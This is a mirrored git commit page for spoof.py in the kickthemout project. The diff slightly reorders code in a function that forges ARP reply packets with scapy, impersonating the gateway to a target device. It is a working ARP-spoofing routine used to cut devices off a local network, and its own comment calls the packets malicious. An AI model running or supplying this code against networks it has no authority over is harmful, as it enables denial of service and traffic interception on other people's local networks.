mirror of
https://github.com/k4m4/kickthemout.git
synced 2025-02-21 18:08:59 +01:00
Update spoof.py
This commit is contained in:
parent
59a8bdd136
commit
94c1fddea9
8
spoof.py
8
spoof.py
@ -22,6 +22,7 @@ def sendPacket(my_mac, gateway_ip, target_ip, target_mac):
|
|||||||
# Function for sending the malicious ARP packets out with the specified data
|
# Function for sending the malicious ARP packets out with the specified data
|
||||||
ether = Ether()
|
ether = Ether()
|
||||||
ether.src = my_mac
|
ether.src = my_mac
|
||||||
|
ether.dst = target_mac
|
||||||
|
|
||||||
arp = ARP()
|
arp = ARP()
|
||||||
arp.psrc = gateway_ip
|
arp.psrc = gateway_ip
|
||||||
@ -30,15 +31,10 @@ def sendPacket(my_mac, gateway_ip, target_ip, target_mac):
|
|||||||
arp = arp
|
arp = arp
|
||||||
arp.pdst = target_ip
|
arp.pdst = target_ip
|
||||||
arp.hwdst = target_mac
|
arp.hwdst = target_mac
|
||||||
|
|
||||||
ether = ether
|
|
||||||
ether.src = my_mac
|
|
||||||
ether.dst = target_mac
|
|
||||||
|
|
||||||
arp.op = 2
|
arp.op = 2
|
||||||
|
|
||||||
def broadcastPacket():
|
def broadcastPacket():
|
||||||
packet = ether / arp
|
packet = ether / arp
|
||||||
sendp(x=packet, verbose=False)
|
sendp(x=packet, verbose=False)
|
||||||
|
|
||||||
broadcastPacket()
|
broadcastPacket()
|
||||||
|
Loading…
x
Reference in New Issue
Block a user